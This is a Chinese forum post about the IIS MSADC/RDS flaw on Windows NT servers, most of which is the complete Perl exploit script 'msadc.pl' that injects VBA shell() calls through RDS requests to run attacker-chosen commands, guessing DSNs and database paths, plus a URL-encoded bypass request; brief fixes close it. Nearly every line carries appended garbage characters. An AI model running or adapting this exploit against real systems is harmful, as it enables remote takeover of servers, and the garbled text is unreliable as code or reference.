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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) eN,6p '&  
Y'&rSHI"  
涉及程序: ,#V }qSKUS  
Microsoft NT server UI]UxEJ  
EX"o9'  
描述: q+ZN$4m  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 OyG#  
*4 HogC  
详细: ~~iFs ,9  
如果你没有时间读详细内容的话,就删除: pu OAt  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 8~!9bg6C  
有关的安全问题就没有了。 ` zoC++hx  
u%24% Q  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Rlwewxmr  
,v@C=4'm  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 P9yg  
关于利用ODBC远程漏洞的描述,请参看: n=iL6Yu(  
KAI/*G\z  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @h E7F}  
Ge_Gx*R  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 e8,!x9%J  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp wAA9M4  
is6M{K3  
这里不再论述。 JqTR4[`Z\  
Oj]4jRew  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~TfN*0  
:k/Z|  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset s2kom)  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :ceT8-PBRx  
/w/um>>K.  
GNX`~%3KYc  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Ox%.We 5  
]_js-+w6  
#!perl Cj5=UUnO  
# @AfC$T  
# MSADC/RDS 'usage' (aka exploit) script L (@".{T  
# EC8Fapy  
# by rain.forest.puppy \Y$@$)   
# D:=Q)Uh0I  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^&!iqK2o  
# beta test and find errors! [~5<['G  
t 2Y2v2 J  
use Socket; use Getopt::Std; I&Z+FL&@f  
getopts("e:vd:h:XR", \%args); OhW o  
L|y 9T {s  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; *-,jIaL;  
Mh@RO|F  
if (!defined $args{h} && !defined $args{R}) { {^A,){uX]  
print qq~ S4C4_*~Vd  
Usage: msadc.pl -h <host> { -d <delay> -X -v } njGZ#{"eC  
-h <host> = host you want to scan (ip or domain) q]rqFP0C  
-d <seconds> = delay between calls, default 1 second e13' dCG  
-X = dump Index Server path table, if available ZxoAf;U~  
-v = verbose AYHefAF<w  
-e = external dictionary file for step 5 J`'wprSBb  
3R?6{.  
Or a -R will resume a command session shuoEeoo  
r"$~Gg.%(  
~; exit;} hOM#j  
VK[`e[.C  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,cFBLj(@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Xf%wW[~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} h { M=V  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); W8N__  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :Oh*Q(>  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } #McX  
'9tV-whw  
if (!defined $args{R}){ $ret = &has_msadc; <d~IdK'\x  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} F x3X  
5c 69M5  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" /;;$9O9  
. "cmd /c "; Y*-dUJK-`  
$in=<STDIN>; chomp $in; ,tl(\4n  
$command="cmd /c " . $in ; PM8*/4Cu.5  
U}c05GiQw  
if (defined $args{R}) {&load; exit;} $0,lE+7*  
~vV+)KI  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5-! Zm]  
&try_btcustmr; {1L{   
u,`cmyZ  
print "\nStep 2: Trying to make our own DSN..."; q vGP$g  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; =v6qr~  
z+{Q(8'b]  
print "\nStep 3: Trying known DSNs..."; v<:/u(i  
&known_dsn; %ou@Y`  
m~RMe9Qi  
print "\nStep 4: Trying known .mdbs..."; / TAza9a  
&known_mdb; tE"IE$$1  
TFI$>Oz|  
if (defined $args{e}){ ={B?hjo<-  
print "\nStep 5: Trying dictionary of DSN names..."; W/G75o~6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } PNRZUZ4Z|  
TQ69O +  
print "Sorry Charley...maybe next time?\n"; i/j eb*d0  
exit; v{O(}@  
!~-@p?kW/  
############################################################################## 4%>2 >5  
v O@7o  
sub sendraw { # ripped and modded from whisker CH] +S>$  
sleep($delay); # it's a DoS on the server! At least on mine... qrkJ:  
my ($pstr)=@_; .*{0[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || f19'IH$n{  
die("Socket problems\n"); >*"1`vcxF  
if(connect(S,pack "SnA4x8",2,80,$target)){ wj-z;YCV  
select(S); $|=1; UO}Yr8Z;  
print $pstr; my @in=<S>; @% .;}tC  
select(STDOUT); close(S); VskdC?yIp  
return @in; ~!#2s'  
} else { die("Can't connect...\n"); }} Lem:zXj  
?vg|;Q  
############################################################################## gh<2i\})'  
d#u*NwY}  
sub make_header { # make the HTTP request ]^v*2!_(  
my $msadc=<<EOT =S<E[D{V`  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ;3 /*Z5p  
User-Agent: ACTIVEDATA w3 K>IDWI7  
Host: $ip 0xzS9  
Content-Length: $clen !w{(}n2Wq  
Connection: Keep-Alive vxl!`$Pi  
C~c|};&%  
ADCClientVersion:01.06 cb`ik)=K%  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 A9kn\U92  
{"hyr/SKd  
--!ADM!ROX!YOUR!WORLD! -jcgxQH53  
Content-Type: application/x-varg FSHC\8siS  
Content-Length: $reqlen MxLi'R=  
N6w!V]b  
EOT &e;GoJ  
; $msadc=~s/\n/\r\n/g; 8=WX`*-uH  
return $msadc;} UsnIx54D3  
de,4M s!%  
############################################################################## B<!WAw+  
M:R|hR{=*  
sub make_req { # make the RDS request 68nBc~iAm  
my ($switch, $p1, $p2)=@_; Q=#@g  
my $req=""; my $t1, $t2, $query, $dsn; hs?cV)hDS  
ITf4PxF  
if ($switch==1){ # this is the btcustmr.mdb query %^}|HG*i??  
$query="Select * from Customers where City=" . make_shell(); ^-dhz88wV  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /5j]laYK)  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !xz{X?  
/(?,S{]  
elsif ($switch==2){ # this is general make table query Cd'K~Ch3  
$query="create table AZZ (B int, C varchar(10))"; b&I{?'"%8  
$dsn="$p1";} mM\jU5P:^  
YTV|]xpR  
elsif ($switch==3){ # this is general exploit table query %%^by  
$query="select * from AZZ where C=" . make_shell(); 3$h yV{  
$dsn="$p1";} 3R`eddenF  
y/OPN<=*  
elsif ($switch==4){ # attempt to hork file info from index server B;^YHWJ6i  
$query="select path from scope()"; d/l>~%bR  
$dsn="Provider=MSIDXS;";} D:fLQ8a  
ebIRXUF}>  
elsif ($switch==5){ # bad query Hi#f Qji  
$query="select"; LseS8F/q  
$dsn="$p1";} o`~ %}3  
O"m(C[+ [  
$t1= make_unicode($query); mecm,xwm  
$t2= make_unicode($dsn); 5sguv^;C5  
$req = "\x02\x00\x03\x00"; +d JLT}I8M  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6 u}c543  
$req.= "\x00\x00" . $t1 ; BiD}C  
$req.= "\x08\x00" . pack ("S1", length($t2)); H\<^p",`  
$req.= "\x00\x00" . $t2 ; =O'>H](Q  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 6w*q~{"(  
return $req;} n--w-1  
zz1]6B*eX  
############################################################################## 1D2Yued  
,&0iFUwN_  
sub make_shell { # this makes the shell() statement eWU@ @$9  
return "'|shell(\"$command\")|'";} 7cly{U"  
_aK4[*jnqh  
############################################################################## V J]S"  
y({EF~w  
sub make_unicode { # quick little function to convert to unicode |>jlmaV  
my ($in)=@_; my $out; k8O%gO  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } &*;E wfgZ  
return $out;} nYts[f9e  
G*W54[  
############################################################################## 9s`j@B0N57  
*S] K@g  
sub rdo_success { # checks for RDO return success (this is kludge) N)o/}@]6  
my (@in) = @_; my $base=content_start(@in); qZ rv2dT  
if($in[$base]=~/multipart\/mixed/){ IT0 [;eqR  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \4"01:u'  
return 0;} Z{rD4S @^  
kC=h[<'  
############################################################################## /6nj 4.xxc  
t{o&$s93  
sub make_dsn { # this makes a DSN for us Ob m%\h  
my @drives=("c","d","e","f"); Y(Q!OeC  
print "\nMaking DSN: "; OpxJiu=W  
foreach $drive (@drives) { al{}p  
print "$drive: "; &]P1IQ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . =`KV),\  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" G_)(?  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $\vTiS'  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~#nbD-*#  
return 0 if $2 eq "404"; # not found/doesn't exist uJu#Vr:m  
if($2 eq "200") { MT(G=r8  
foreach $line (@results) { 7MhN>a;A\  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} y)0wM~E;2  
} return 0;} $p~X"f?0  
{p)=#Jd`.P  
############################################################################## ;SVAar4r  
!1fAW! 8  
sub verify_exists { rLJjK$_x  
my ($page)=@_; sq1v._^s  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >%Nqgn$V  
return $results[0];} JmJNq$2#c  
,c.(&@  
############################################################################## ^K`Vqo  
%xh A2  
sub try_btcustmr { @zAav>  
my @drives=("c","d","e","f"); K %Qj<{)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Nd;,Wz]  
,e!9WKJ B  
foreach $dir (@dirs) { 3W.5 [;}  
print "$dir -> "; # fun status so you can see progress k!= jO#)Rd  
foreach $drive (@drives) { 5#hsy;q;[  
print "$drive: "; # ditto  jgd^{!  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 2kV{|`1  
$reqlenlen=length( "$reqlen" ); bbAJ5EqL  
$clen= 206 + $reqlenlen + $reqlen; j  hr pS  
0="U'|J_  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); <OA[u-ph%S  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} e'L$g-;>4b  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} +RN|ZG&  
&#DKB#.2  
############################################################################## 6Cz%i 6)  
)]P%=  
sub odbc_error { Z Vj  
my (@in)=@_; my $base; 2%gLq  
my $base = content_start(@in);  <6[P5>  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this P DtLJt$  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {j4J(dtO  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qe_59'K  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fd/?x^Z  
return $in[$base+4].$in[$base+5].$in[$base+6];} xYl ScM_~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; v*VId l>  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . o.M.zkP a  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} mmx; Vt$i  
. Q$/\E  
############################################################################## )9? ^;HS  
ylVBK{w9  
sub verbose { 8zWKKcf7t  
my ($in)=@_; GjGt' m*  
return if !$verbose; l>iE1`iL<  
print STDOUT "\n$in\n";} jI~GRk  
Sz3Tp5b  
############################################################################## 2nA/{W\hC  
kNDN<L  
sub save { -eSZpzp  
my ($p1, $p2, $p3, $p4)=@_; j%@wQVxq  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; tG}cmK~%  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 2j( ]Bt:  
close OUT;} 'D<84|w:1  
X4dXO5\  
############################################################################## NAt; r  
AW< z7B D  
sub load { SXx;- Ws  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3Z-N*bhC  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `zBQ:_3J_  
@p=<IN>; close(IN); > cM}M=4s  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ewD=(yr  
$target= inet_aton($ip) || die("inet_aton problems"); ds|L'7  
print "Resuming to $ip ..."; <|R`N)AV;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~n )<L7  
if($p[1]==1) { 'H.,S_v1x  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $9m>(b/;n  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ^s[OvJb  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $TR#-q  
if (rdo_success(@results)){print "Success!\n";} ( V^C7ix:  
else { print "failed\n"; verbose(odbc_error(@results));}} b am*&E%0K  
elsif ($p[1]==3){ Z9vJF.clO  
if(run_query("$p[3]")){ [S#QGB19  
print "Success!\n";} else { print "failed\n"; }} ? > 7SZiC`  
elsif ($p[1]==4){ -&3mOn& (1  
if(run_query($drvst . "$p[3]")){ =abBD   
print "Success!\n"; } else { print "failed\n"; }} g?=|kp  
exit;} qp)a`'Pq  
cJ#|mzup  
############################################################################## hm+,o_+  
T>\ r}p  
sub create_table { Y9_OkcW)  
my ($in)=@_; P]wCC`qi  
$reqlen=length( make_req(2,$in,"") ) - 28; 'v V |un(6  
$reqlenlen=length( "$reqlen" ); NwB;9ZhZ  
$clen= 206 + $reqlenlen + $reqlen; ^ua8Ya  
my @results=sendraw(make_header() . make_req(2,$in,"")); 2\, h "W(  
return 1 if rdo_success(@results); lhRo+X#G  
my $temp= odbc_error(@results); verbose($temp); 4kqgZtg.  
return 1 if $temp=~/Table 'AZZ' already exists/; %L;;W,l$`)  
return 0;} U{%N.4:   
%tC3@S  
############################################################################## ;;; {<GEQ  
-D-]tL6w  
sub known_dsn { hfQx$cv6  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go \yNe5  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 4(O;lVT}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Z;4pI@ u  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ->29Tns  
L4?)N&V  
foreach $dSn (@dsns) { C^W9=OH  
print "."; P6 & _q  
next if (!is_access("DSN=$dSn")); &hri4p/  
if(create_table("DSN=$dSn")){ uBXl ltU  
print "$dSn successful\n"; *4oj' }  
if(run_query("DSN=$dSn")){ tH\ aHU[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &Y/Myh[P  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Fo86WP}  
nL]-]n;  
############################################################################## @& vtY._  
2^.qKY@g@  
sub is_access { B^C!UWN>%X  
my ($in)=@_; {:m%n-  
$reqlen=length( make_req(5,$in,"") ) - 28; d9>k5!  
$reqlenlen=length( "$reqlen" ); rs?"pGz;  
$clen= 206 + $reqlenlen + $reqlen; ;DXcEzV  
my @results=sendraw(make_header() . make_req(5,$in,"")); IS9}@5`'  
my $temp= odbc_error(@results); $&l} ABn  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ? pkg1F7  
return 0;} c5f8pa *  
)of?!>'S[  
############################################################################## tbr1mw'G  
G*x"drP  
sub run_query { nC;2wQ6aO  
my ($in)=@_; X;D"}X4(E  
$reqlen=length( make_req(3,$in,"") ) - 28; "`'' eV3  
$reqlenlen=length( "$reqlen" ); 9=wt9` ?  
$clen= 206 + $reqlenlen + $reqlen; j4hiMI;  
my @results=sendraw(make_header() . make_req(3,$in,"")); \vR&-+8dk  
return 1 if rdo_success(@results); +o94w^'^$b  
my $temp= odbc_error(@results); verbose($temp); Z F&aV?  
return 0;} AO "pm  
gPrIu+|F  
############################################################################## gBZ1Weu-'  
|&hu3-(  
sub known_mdb { *'q6#\#.  
my @drives=("c","d","e","f","g"); },@1i<Bb  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @C34^\aH+  
my $dir, $drive, $mdb; ^A"TY  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `*`@ro  
MsL*\)*s  
# this is sparse, because I don't know of many 6)B6c. 5o  
my @sysmdbs=( "\\catroot\\icatalog.mdb", $%ts#56*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", I8RPW:B;B  
"\\system32\\certmdb.mdb", %1Pn;bUU!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% !L)~*!+Gf  
?k7z 5ow  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ?9)-?tZ^Q  
"\\cfusion\\cfapps\\forums\\forums_.mdb", wh~g{(Xvq  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", r6#It$NU  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6AW{qU6  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", =ZaTD-%id  
"\\cfusion\\database\\cfexamples.mdb", ee0)%hc1t  
"\\cfusion\\database\\cfsnippets.mdb", vg6 ' ^5S7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 3TDjWW;#~  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", @TTB$  
"\\cfusion\\brighttiger\\database\\cleam.mdb", D0f.XWd  
"\\cfusion\\database\\smpolicy.mdb", NWt`X!  
"\\cfusion\\database\cypress.mdb", (6*CORE   
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", .*bu:FuDE  
"\\website\\cgi-win\\dbsample.mdb", MI,b`pQ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Q{~WWv  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" bZB7t`C5  
); #these are just {d%% nK~  
foreach $drive (@drives) { nhm)P_p   
foreach $dir (@dirs){ ? V0!N;  
foreach $mdb (@sysmdbs) { y]veqa  
print "."; 3wQUNv0z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 2{sx"/k\A  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; jBO/1h=  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,+gU^dc|hq  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; D V  
} else { print "Something's borked. Use verbose next time\n"; }}}}} !ibdw_H  
g2&%bNQ-5  
foreach $drive (@drives) { (pl|RmmDz  
foreach $mdb (@mdbs) { aU)NbESu  
print "."; ZB5:FtW4  
if(create_table($drv . $drive . $dir . $mdb)){ *QIlh""6  
print "\n" . $drive . $dir . $mdb . " successful\n"; 5ZXP$.  
if(run_query($drv . $drive . $dir . $mdb)){ D[NJ{E.{  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1@}`dc  
} else { print "Something's borked. Use verbose next time\n"; }}}} a->;K+  
} @Weim7r  
0^L>J "o  
############################################################################## 007(k"=oV  
5a PPq~%  
sub hork_idx { ~T{^7"q\  
print "\nAttempting to dump Index Server tables...\n"; ~'[0-_]=f  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; m4<5jC`-M  
$reqlen=length( make_req(4,"","") ) - 28; [f?fA[, [  
$reqlenlen=length( "$reqlen" ); X(`wj~45VX  
$clen= 206 + $reqlenlen + $reqlen; r^m8kYezQ  
my @results=sendraw2(make_header() . make_req(4,"","")); `k 5'nnyP  
if (rdo_success(@results)){ J ^y1=PM  
my $max=@results; my $c; my %d; IYo{eX~=  
for($c=19; $c<$max; $c++){ =u5a'bp0;;  
$results[$c]=~s/\x00//g; 9uNkd2 #  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; kma)DW  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; /5l"rni   
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; GbLuX U  
$d{"$1$2"}="";} |A'y|/)#Z  
foreach $c (keys %d){ print "$c\n"; } ~ry B*eZH  
} else {print "Index server doesn't seem to be installed.\n"; }} j`'9;7h M6  
&RzkM4"  
############################################################################## WB7pdSZ  
xn fMx$fD  
sub dsn_dict { u?J!3ZEtb  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); nkp,  
while(<IN>){ 5 +Ei! E89  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; us ,!U  
next if (!is_access("DSN=$dSn")); *u i!|;  
if(create_table("DSN=$dSn")){ v*.[O/,EBR  
print "$dSn successful\n"; JjXuy7XQ  
if(run_query("DSN=$dSn")){ 3u)NkS=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { rY~!hZ  
print "Something's borked. Use verbose next time\n";}}} ,#u"$Hz8p  
print "\n"; close(IN);} _DlX F  
_:B/XZ  
############################################################################## cIL I%W1  
A *$JF>`7  
sub sendraw2 { # ripped and modded from whisker j;GH|22  
sleep($delay); # it's a DoS on the server! At least on mine... vpS&w  
my ($pstr)=@_; f6I$d<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *v' d1.Z  
die("Socket problems\n"); @Nm;lZK  
if(connect(S,pack "SnA4x8",2,80,$target)){ qPn }$1+~  
print "Connected. Getting data"; kkyi`_ZKn  
open(OUT,">raw.out"); my @in; 6cF~8  
select(S); $|=1; print $pstr; E=H>|FgS  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Aa.eu=@I  
close(OUT); select(STDOUT); close(S); return @in; \I@hDMqv  
} else { die("Can't connect...\n"); }} +PlA#DZu  
 $:7 T  
############################################################################## i1(}E#  
mM[!g'*  
sub content_start { # this will take in the server headers X\ -IAv  
my (@in)=@_; my $c; _V jfH2Y  
for ($c=1;$c<500;$c++) { )2tDX=D  
if($in[$c] =~/^\x0d\x0a/){ #K:!s<_"  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } WS!:w'rzr  
else { return $c+1; }}} AqdQiZ^9  
return -1;} # it should never get here actually K-a~Kr  
<Z nVWER  
############################################################################## L[|($vQ"  
/#lqv)s'  
sub funky { !iys\ AV  
my (@in)=@_; my $error=odbc_error(@in); r@O5{V  
if($error=~/ADO could not find the specified provider/){ m#i5}uHHg  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; DFk0"+Ky  
exit;} m=qEQy6#2u  
if($error=~/A Handler is required/){ ho'Ihep,L  
print "\nServer has custom handler filters (they most likely are patched)\n"; L<}0}y  
exit;} y:m ;_U,%c  
if($error=~/specified Handler has denied Access/){ ag_RKlM3  
print "\nServer has custom handler filters (they most likely are patched)\n"; !R 2;]d*  
exit;}} KWq&<X5  
@PaOQ@  
############################################################################## T4M"s;::1  
,w9:)B7  
sub has_msadc { j$<sq  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); i7%v2_  
my $base=content_start(@results); B2R^oL' }  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); uIvAmc4  
return 0;} 1(q &(p  
Z8Jrt3l{2  
######################## >!U oS  
`GBa3  
'4"9f]:  
解决方案: `X:o]t@  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll DL t"cAW  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 3w>S?"W#  
AgBXB%).  
拿出来充数 哈哈
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